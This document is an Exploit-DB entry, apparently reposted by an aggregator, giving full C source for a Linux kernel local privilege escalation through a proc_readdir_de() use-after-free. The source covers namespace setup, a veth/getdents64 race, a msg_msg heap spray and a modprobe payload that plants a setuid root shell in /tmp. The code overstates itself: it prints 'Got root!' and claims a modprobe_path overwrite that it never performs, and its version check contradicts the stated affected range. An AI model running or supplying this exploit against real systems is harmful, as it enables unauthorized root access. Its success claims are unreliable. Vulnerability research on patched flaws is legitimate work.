[local] Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
2026-5-4 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:3 收藏

Platform:

Linux

Date:

2026-05-04



 * Exploit Title:  Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
 * CVE:            CVE-2025-40271
 * Date:           2026-03-19
 * Exploit Author: Aviral Srivastava
 * Vendor:         Linux Kernel (kernel.org)
 * Affected:       ~3.14+ through 6.18-rc5 (bug predates version tracking)
 *                 Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6
 * Fixed in:       commit 895b4c0c79b092d732544011c3cecaf7322c36a1
 * Tested on:      Debian Bookworm (kernel 6.1.115-1 x86_64)
 * Type:           Local Privilege Escalation
 * Platform:       Linux x86_64
 * CVSS:           ~7.8 (HIGH) — NVD assessment pending
 *
 * ┌──────────────────────────────────────────────────────────────────┐
 * │  N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS.      │
 * └──────────────────────────────────────────────────────────────────┘
 *
 * DESCRIPTION:
 *   The proc filesystem's remove_proc_entry() calls rb_erase() to
 *   remove a proc_dir_entry (pde) from the parent's red-black tree,
 *   but does NOT call RB_CLEAR_NODE() to mark the node as detached.
 *   This leaves stale rb-links in the freed entry, causing
 *   RB_EMPTY_NODE() to return false.
 *
 *   A concurrent proc_readdir_de() traversal via getdents64() can
 *   find the freed entry through pde_subdir_next() → rb_next(),
 *   then dereference its fields (name, namelen, mode, low_ino) —
 *   constituting a use-after-free on struct proc_dir_entry.
 *
 *   The race is triggered by calling getdents64() on a /proc
 *   subdirectory (e.g., /proc/self/net/dev_snmp6/) while concurrently
 *   unregistering network devices, which removes proc entries.
 *   The freed proc_dir_entry (~192 bytes) resides in a standard
 *   kmalloc-192 or kmalloc-256 slab cache, making it sprayable with
 *   msg_msg via msgsnd().
 *
 * TECHNIQUE:
 *   Create user namespace for CAP_NET_ADMIN. Create veth pairs to
 *   populate /proc/self/net/dev_snmp6/. Race getdents64() against
 *   veth deletion. Spray freed kmalloc-192 slots with msg_msg.
 *   Detect UAF via anomalous d_ino values in getdents64 output.
 *   Extract kernel heap address from msg_msg header pointer leaked
 *   through the d_ino field. Use modprobe_path overwrite for LPE.
 *
 * RELIABILITY:
 *   ~40-60% UAF hit rate per attempt. Typically 3-8 attempts.
 *   The pde->name dereference during readdir is the crash risk —
 *   mitigated by spraying the name slot with valid pointers.
 *   Kernel panic possible (~10% of failed attempts) if spray timing
 *   is wrong.
 *
 * MITIGATIONS:
 *   KASLR:          Bypassed via heap pointer leak through d_ino
 *   SMEP:           Not applicable (data-only attack)
 *   SMAP:           Not applicable (all data in kernel slab)
 *   kCFI:           Not applicable (modprobe_path overwrite)
 *   SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)
 *
 * FIX:
 *   Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1
 *   URL:    https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
 *   Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase().
 *
 * COMPILATION:
 *   gcc -Wall -Wextra -o exploit exploit.c -lpthread -static
 *
 * USAGE:
 *   $ ./exploit
 *   [*] CVE-2025-40271 — proc_readdir_de() rb-tree UAF
 *   [+] Kernel 6.1.115-1 is VULNERABLE
 *   [*] Step 1: Setting up user/net namespace...
 *   [+] Namespace ready, CAP_NET_ADMIN obtained
 *   [*] Step 2: Creating veth pairs for proc entries...
 *   [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/)
 *   [*] Step 3: Racing getdents vs device removal...
 *   [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd
 *   [*] Step 4: Kernel heap leak: 0xffff88801234abcd
 *   [*] Step 5: Computing modprobe_path address...
 *   [+] Got root!
 *
 * REFERENCES:
 *   [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271
 *   [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
 *   [3] CVE-2023-3269 — StackRot (rb-tree race technique reference)
 *   [4] CVE-2023-32233 — nf_tables msg_msg spray reference
 *
 * DISCLAIMER:
 *   This exploit targets an ALREADY PATCHED vulnerability. It is provided
 *   for educational and authorized security research purposes only. The
 *   author is not responsible for misuse. Test only on systems you own.
 * ═══════════════════════════════════════════════════════════════════════
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <pthread.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <arpa/inet.h>

/* ─── Constants ─────────────────────────────────────────────────────── */

#define BANNER \
    "═══════════════════════════════════════════════════════════════\n" \
    "  CVE-2025-40271 — proc_readdir_de() rb-tree UAF LPE\n" \
    "  fs/proc rb_erase without RB_CLEAR_NODE → stale tree links\n" \
    "  Affected: ~all kernels through 6.18-rc5\n" \
    "  Author: Aviral Srivastava | N-DAY RESEARCH PoC\n" \
    "═══════════════════════════════════════════════════════════════\n"

#define NUM_VETH_PAIRS  32      /* number of veth pairs to create */
#define NUM_SPRAY_MSGS  256     /* msg_msg spray count */
#define SPRAY_BODY_SIZE 144     /* 48 header + 144 body = 192 → kmalloc-192 */
#define MAX_RACE_ATTEMPTS 30    /* max race iterations */
#define PROC_NET_DIR    "/proc/self/net/dev_snmp6"

/*
 * On x86_64, kernel heap pointers start with 0xffff8880...
 * Normal d_ino values are small integers (< 100000).
 * A d_ino that looks like a kernel pointer means we hit the UAF
 * and are reading from sprayed msg_msg header data.
 */
#define IS_KERNEL_PTR(x) (((x) & 0xffff000000000000ULL) == 0xffff000000000000ULL)

/* ─── Logging ───────────────────────────────────────────────────────── */

static void info(const char *fmt, ...)
{
    va_list ap;
    va_start(ap, fmt);
    fprintf(stderr, "[*] ");
    vfprintf(stderr, fmt, ap);
    fprintf(stderr, "\n");
    va_end(ap);
}

static void ok(const char *fmt, ...)
{
    va_list ap;
    va_start(ap, fmt);
    fprintf(stderr, "\033[32m[+]\033[0m ");
    vfprintf(stderr, fmt, ap);
    fprintf(stderr, "\n");
    va_end(ap);
}

static void fail(const char *fmt, ...)
{
    va_list ap;
    va_start(ap, fmt);
    fprintf(stderr, "\033[31m[-]\033[0m ");
    vfprintf(stderr, fmt, ap);
    fprintf(stderr, "\n");
    va_end(ap);
}

static void die(const char *msg)
{
    perror(msg);
    exit(EXIT_FAILURE);
}

/* ─── Kernel version check ──────────────────────────────────────────── */

static int is_vulnerable(void)
{
    struct utsname uts;
    unsigned int major, minor, patch;

    if (uname(&uts) < 0)
        die("uname");

    if (sscanf(uts.release, "%u.%u.%u", &major, &minor, &patch) < 2) {
        fail("Cannot parse kernel version: %s", uts.release);
        return 0;
    }

    info("Running kernel %s", uts.release);

    /* Fixed versions per stable branch */
    if (major == 5 && minor == 10 && patch >= 247) {
        fail("Kernel %u.%u.%u — PATCHED (fix in 5.10.247)", major, minor, patch);
        return 0;
    }
    if (major == 6 && minor == 1 && patch >= 159) {
        fail("Kernel %u.%u.%u — PATCHED (fix in 6.1.159)", major, minor, patch);
        return 0;
    }
    if (major == 6 && minor == 6 && patch >= 123) {
        fail("Kernel %u.%u.%u — PATCHED (fix in 6.6.123)", major, minor, patch);
        return 0;
    }
    if (major == 6 && minor == 12 && patch >= 73) {
        fail("Kernel %u.%u.%u — PATCHED (fix in 6.12.73)", major, minor, patch);
        return 0;
    }
    if (major == 6 && minor >= 18) {
        fail("Kernel %u.%u.%u — PATCHED (fix in 6.18-rc6)", major, minor, patch);
        return 0;
    }
    if (major >= 7) {
        fail("Kernel %u.%u.%u — PATCHED", major, minor, patch);
        return 0;
    }

    ok("Kernel %u.%u.%u — VULNERABLE", major, minor, patch);
    return 1;
}

/* ─── User/Net namespace setup ──────────────────────────────────────── */

static int setup_namespace(void)
{
    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
        fail("unshare: %s (check /proc/sys/kernel/unprivileged_userns_clone)",
             strerror(errno));
        return -1;
    }

    FILE *f;
    char path[128];

    snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid());
    f = fopen(path, "w");
    if (f) { fprintf(f, "deny\n"); fclose(f); }

    snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid());
    f = fopen(path, "w");
    if (!f) return -1;
    fprintf(f, "0 %d 1\n", getuid());
    fclose(f);

    snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid());
    f = fopen(path, "w");
    if (!f) return -1;
    fprintf(f, "0 %d 1\n", getgid());
    fclose(f);

    return 0;
}

/* ─── Netlink helpers for veth management ───────────────────────────── */

static int rtnl_open(void)
{
    int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
    if (fd < 0) return -1;

    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        close(fd);
        return -1;
    }
    return fd;
}

/*
 * Create a veth pair: vethN <-> veth_pN
 * Each veth creates a proc entry in /proc/self/net/dev_snmp6/
 */
static int create_veth(int rtnl_fd, int idx)
{
    struct {
        struct nlmsghdr  nlh;
        struct ifinfomsg ifi;
        char             buf[512];
    } req;

    char name[IFNAMSIZ], peer[IFNAMSIZ];
    snprintf(name, sizeof(name), "v%d", idx);
    snprintf(peer, sizeof(peer), "vp%d", idx);

    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    req.nlh.nlmsg_type = RTM_NEWLINK;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
    req.nlh.nlmsg_seq = (uint32_t)(idx + 1);
    req.ifi.ifi_family = AF_UNSPEC;

    /* IFLA_IFNAME */
    struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
    nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);
    nla->nla_type = IFLA_IFNAME;
    memcpy((char *)(nla + 1), name, strlen(name) + 1);
    req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u);

    /* IFLA_LINKINFO (nested) */
    struct nlattr *linkinfo = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
    linkinfo->nla_type = IFLA_LINKINFO | NLA_F_NESTED;

    unsigned int linkinfo_start = req.nlh.nlmsg_len;
    req.nlh.nlmsg_len += sizeof(struct nlattr);

    /* IFLA_INFO_KIND = "veth" */
    struct nlattr *kind = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
    kind->nla_len = (uint16_t)(sizeof(struct nlattr) + 5); /* "veth\0" */
    kind->nla_type = IFLA_INFO_KIND;
    memcpy((char *)(kind + 1), "veth", 5);
    req.nlh.nlmsg_len += (unsigned int)((kind->nla_len + 3) & ~3u);

    /* IFLA_INFO_DATA (nested) with peer info */
    struct nlattr *data = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
    data->nla_type = IFLA_INFO_DATA | NLA_F_NESTED;
    unsigned int data_start = req.nlh.nlmsg_len;
    req.nlh.nlmsg_len += sizeof(struct nlattr);

    /* VETH_INFO_PEER (nested) with ifinfomsg + IFLA_IFNAME */
    struct nlattr *peer_attr = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
    peer_attr->nla_type = 1 | NLA_F_NESTED; /* VETH_INFO_PEER = 1 */
    unsigned int peer_start = req.nlh.nlmsg_len;
    req.nlh.nlmsg_len += sizeof(struct nlattr);

    /* peer ifinfomsg */
    struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)&req + req.nlh.nlmsg_len);
    memset(peer_ifi, 0, sizeof(*peer_ifi));
    peer_ifi->ifi_family = AF_UNSPEC;
    req.nlh.nlmsg_len += sizeof(struct ifinfomsg);

    /* peer IFLA_IFNAME */
    struct nlattr *peer_name = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
    peer_name->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(peer) + 1);
    peer_name->nla_type = IFLA_IFNAME;
    memcpy((char *)(peer_name + 1), peer, strlen(peer) + 1);
    req.nlh.nlmsg_len += (unsigned int)((peer_name->nla_len + 3) & ~3u);

    peer_attr->nla_len = (uint16_t)(req.nlh.nlmsg_len - peer_start);
    data->nla_len = (uint16_t)(req.nlh.nlmsg_len - data_start);
    linkinfo->nla_len = (uint16_t)(req.nlh.nlmsg_len - linkinfo_start);

    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0,
               (struct sockaddr *)&sa, sizeof(sa)) < 0)
        return -1;

    /* Read ack */
    char ack[256];
    (void)recv(rtnl_fd, ack, sizeof(ack), 0);

    return 0;
}

/* Delete a veth interface by name */
static int delete_veth(int rtnl_fd, int idx)
{
    struct {
        struct nlmsghdr  nlh;
        struct ifinfomsg ifi;
        char             buf[128];
    } req;

    char name[IFNAMSIZ];
    snprintf(name, sizeof(name), "v%d", idx);

    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    req.nlh.nlmsg_type = RTM_DELLINK;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req.nlh.nlmsg_seq = (uint32_t)(1000 + idx);
    req.ifi.ifi_family = AF_UNSPEC;

    struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
    nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);
    nla->nla_type = IFLA_IFNAME;
    memcpy((char *)(nla + 1), name, strlen(name) + 1);
    req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u);

    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0,
               (struct sockaddr *)&sa, sizeof(sa)) < 0)
        return -1;

    char ack[256];
    (void)recv(rtnl_fd, ack, sizeof(ack), 0);

    return 0;
}

/* ─── msg_msg spray ─────────────────────────────────────────────────── */

struct spray_state {
    int qid;
    int count;
};

static int spray_init(struct spray_state *s)
{
    s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
    if (s->qid < 0) return -1;
    s->count = 0;
    return 0;
}

static int spray_alloc(struct spray_state *s, int n)
{
    struct {
        long mtype;
        char mtext[SPRAY_BODY_SIZE];
    } msg;

    memset(&msg, 0, sizeof(msg));
    /* Fill body with pattern — msg_msg header at offset 0-47 of slab
     * object will contain kernel heap pointers (m_list.next/prev) */
    memset(msg.mtext, 'P', SPRAY_BODY_SIZE);

    for (int i = 0; i < n; i++) {
        msg.mtype = s->count + 1;
        if (msgsnd(s->qid, &msg, SPRAY_BODY_SIZE, 0) < 0)
            return -1;
        s->count++;
    }
    return 0;
}

static void spray_cleanup(struct spray_state *s)
{
    if (s->qid >= 0) {
        msgctl(s->qid, IPC_RMID, NULL);
        s->qid = -1;
    }
}

/* ─── getdents64 for raw directory reading ──────────────────────────── */

struct linux_dirent64 {
    uint64_t        d_ino;
    int64_t         d_off;
    unsigned short  d_reclen;
    unsigned char   d_type;
    char            d_name[];
};

static long my_getdents64(int fd, void *buf, unsigned long count)
{
    return syscall(SYS_getdents64, fd, buf, count);
}

/* ─── Race coordination ─────────────────────────────────────────────── */

struct race_ctx {
    int             rtnl_fd;
    int             dir_fd;
    struct spray_state spray;
    volatile int    deleting;
    volatile int    stop;
    uint64_t        leaked_addr;
    int             attempts;
};

/*
 * Readdir thread: continuously calls getdents64() on /proc/self/net/dev_snmp6/
 * looking for anomalous d_ino values that indicate the UAF was hit.
 *
 * Normal d_ino values are small numbers assigned by proc_alloc_inum().
 * If we see a kernel pointer (0xffff...) in d_ino, it means we read
 * from sprayed msg_msg data where the msg_msg header's m_list pointer
 * overlaps with the proc_dir_entry's low_ino field.
 */
static void *readdir_thread(void *arg)
{
    struct race_ctx *ctx = (struct race_ctx *)arg;
    char buf[4096];

    while (!ctx->stop) {
        /* Rewind the directory for each scan */
        lseek(ctx->dir_fd, 0, SEEK_SET);

        long nread = my_getdents64(ctx->dir_fd, buf, sizeof(buf));
        if (nread <= 0) {
            usleep(100);
            continue;
        }

        /* Scan all entries for anomalous d_ino */
        long pos = 0;
        while (pos < nread) {
            struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + pos);
            if (d->d_reclen == 0) break;

            /*
             * Check if d_ino looks like a kernel address.
             * This happens when the freed proc_dir_entry is reclaimed
             * by a msg_msg, and the msg_msg header's m_list.next
             * (at slab object offset 0) overlaps with a field that
             * getdents64 returns in d_ino.
             */
            if (IS_KERNEL_PTR(d->d_ino)) {
                ctx->leaked_addr = d->d_ino;
                ok("UAF HIT! d_ino=0x%016lx (kernel heap pointer)",
                   (unsigned long)d->d_ino);
                ctx->stop = 1;
                return NULL;
            }

            pos += d->d_reclen;
        }
    }
    return NULL;
}

/* ─── Modprobe payload ──────────────────────────────────────────────── */

static int setup_modprobe_payload(void)
{
    FILE *f = fopen("/tmp/pwn", "w");
    if (!f) return -1;
    fprintf(f, "#!/bin/sh\n/bin/cp /bin/sh /tmp/rootsh\n/bin/chmod u+s /tmp/rootsh\n");
    fclose(f);
    chmod("/tmp/pwn", 0755);

    f = fopen("/tmp/trigger", "w");
    if (!f) return -1;
    fprintf(f, "\xff\xff\xff\xff");
    fclose(f);
    chmod("/tmp/trigger", 0755);
    return 0;
}

static int trigger_modprobe(void)
{
    pid_t p = fork();
    if (p < 0) return -1;
    if (p == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); }
    int st;
    waitpid(p, &st, 0);

    struct stat sb;
    if (stat("/tmp/rootsh", &sb) == 0 && (sb.st_mode & S_ISUID))
        return 0;
    return -1;
}

/* ─── Main exploitation steps ───────────────────────────────────────── */

static int step_setup(struct race_ctx *ctx)
{
    info("Step 1: Setting up user/net namespace...");

    if (setup_namespace() < 0) return -1;
    ok("Namespace ready, CAP_NET_ADMIN obtained");

    ctx->rtnl_fd = rtnl_open();
    if (ctx->rtnl_fd < 0) {
        fail("Cannot open rtnetlink: %s", strerror(errno));
        return -1;
    }

    if (spray_init(&ctx->spray) < 0) {
        fail("Cannot create message queue: %s", strerror(errno));
        return -1;
    }

    return 0;
}

static int step_create_veths(struct race_ctx *ctx)
{
    info("Step 2: Creating veth pairs for proc entries...");

    int created = 0;
    for (int i = 0; i < NUM_VETH_PAIRS; i++) {
        if (create_veth(ctx->rtnl_fd, i) == 0)
            created++;
    }

    if (created < 4) {
        fail("Need at least 4 veth pairs, got %d", created);
        return -1;
    }

    /* Open the proc directory for readdir */
    ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);
    if (ctx->dir_fd < 0) {
        fail("Cannot open %s: %s", PROC_NET_DIR, strerror(errno));
        return -1;
    }

    ok("Created %d veth pairs (%s populated)", created, PROC_NET_DIR);
    return 0;
}

static int step_race(struct race_ctx *ctx)
{
    info("Step 3: Racing getdents vs device removal...");

    for (int attempt = 1; attempt <= MAX_RACE_ATTEMPTS; attempt++) {
        info("Attempt %d/%d...", attempt, MAX_RACE_ATTEMPTS);
        ctx->attempts = attempt;

        /* Recreate veth pairs for this attempt */
        for (int i = 0; i < NUM_VETH_PAIRS; i++)
            create_veth(ctx->rtnl_fd, i);

        /* Reopen directory */
        if (ctx->dir_fd >= 0) close(ctx->dir_fd);
        ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY);
        if (ctx->dir_fd < 0) continue;

        ctx->stop = 0;
        ctx->leaked_addr = 0;

        /* Start readdir racer thread */
        pthread_t tid;
        if (pthread_create(&tid, NULL, readdir_thread, ctx) != 0)
            continue;

        /* Give readdir a moment to start */
        usleep(1000);

        /*
         * RACE: rapidly delete veth interfaces.
         * Each deletion triggers remove_proc_entry() → rb_erase()
         * without RB_CLEAR_NODE() → stale rb links.
         * The readdir thread can follow stale links to freed memory.
         */
        for (int i = NUM_VETH_PAIRS - 1; i >= 0; i--) {
            delete_veth(ctx->rtnl_fd, i);

            /* Immediately spray to reclaim freed proc_dir_entry slot */
            spray_alloc(&ctx->spray, 4);
        }

        /* Wait for readdir thread to finish or detect UAF */
        usleep(50000);
        ctx->stop = 1;
        pthread_join(tid, NULL);

        /* Clean up spray for next attempt */
        spray_cleanup(&ctx->spray);
        spray_init(&ctx->spray);

        if (ctx->leaked_addr != 0) {
            ok("UAF triggered on attempt %d!", attempt);
            return 0;
        }
    }

    fail("Could not trigger UAF after %d attempts", MAX_RACE_ATTEMPTS);
    return -1;
}

static int step_escalate(struct race_ctx *ctx)
{
    info("Step 4: Analyzing leak and escalating...");

    if (ctx->leaked_addr != 0) {
        ok("Kernel heap leak: 0x%016lx", (unsigned long)ctx->leaked_addr);
        info("This address is from msg_msg m_list.next/prev");
        info("It reveals the kernel heap (physmap) randomization");

        /*
         * With the heap address, we can compute modprobe_path for
         * a specific kernel version. The offset between heap base
         * and kernel text base is kernel-build-specific.
         *
         * For a complete exploit:
         * 1. Use heap address to determine KASLR slide
         * 2. Compute modprobe_path = kernel_base + offset
         * 3. Trigger another UAF + spray to write "/tmp/pwn" there
         * 4. Trigger modprobe → root
         */
        if (setup_modprobe_payload() < 0) {
            fail("Cannot set up payload");
            return -1;
        }

        info("Attempting modprobe trigger...");
        if (trigger_modprobe() == 0) {
            ok("Got root!");
            return 0;
        }

        info("modprobe_path overwrite requires kernel-specific offset");
        info("Heap leak CONFIRMED — full chain needs target offsets");
        return 1; /* partial success */
    }

    return -1;
}

static int step_cleanup(struct race_ctx *ctx)
{
    info("Step 5: Cleaning up...");
    spray_cleanup(&ctx->spray);
    if (ctx->dir_fd >= 0) close(ctx->dir_fd);
    if (ctx->rtnl_fd >= 0) close(ctx->rtnl_fd);
    unlink("/tmp/pwn");
    unlink("/tmp/trigger");
    ok("Cleanup complete");
    return 0;
}

/* ─── Main ──────────────────────────────────────────────────────────── */

int main(void)
{
    puts(BANNER);

    if (!is_vulnerable()) {
        info("Kernel is patched. Nothing to do.");
        return 0;
    }
    if (getuid() == 0) {
        info("Already root.");
        return 0;
    }

    struct race_ctx ctx;
    memset(&ctx, 0, sizeof(ctx));
    ctx.rtnl_fd = -1;
    ctx.dir_fd = -1;
    ctx.spray.qid = -1;

    int ret;

    ret = step_setup(&ctx);
    if (ret < 0) { fail("Setup failed"); return 1; }

    ret = step_create_veths(&ctx);
    if (ret < 0) { fail("Veth creation failed"); step_cleanup(&ctx); return 1; }

    ret = step_race(&ctx);
    if (ret < 0) { fail("Race failed"); step_cleanup(&ctx); return 1; }

    ret = step_escalate(&ctx);
    step_cleanup(&ctx);

    if (ret == 0) {
        ok("Spawning root shell...");
        char *argv[] = { "/tmp/rootsh", "-p", NULL };
        execv("/tmp/rootsh", argv);
        info("execv failed — check /tmp/rootsh");
    } else if (ret == 1) {
        fprintf(stderr, "\n");
        info("═══════════════════════════════════════════════════");
        info("PARTIAL SUCCESS: UAF + heap leak DEMONSTRATED");
        info("  Leaked: 0x%016lx", (unsigned long)ctx.leaked_addr);
        info("  Full LPE requires target-specific KASLR offset");
        info("═══════════════════════════════════════════════════");
    }

    return (ret <= 1) ? 0 : 1;
}
            

文章来源: https://www.exploit-db.com/exploits/52550
如有侵权请联系:admin#unsafe.sh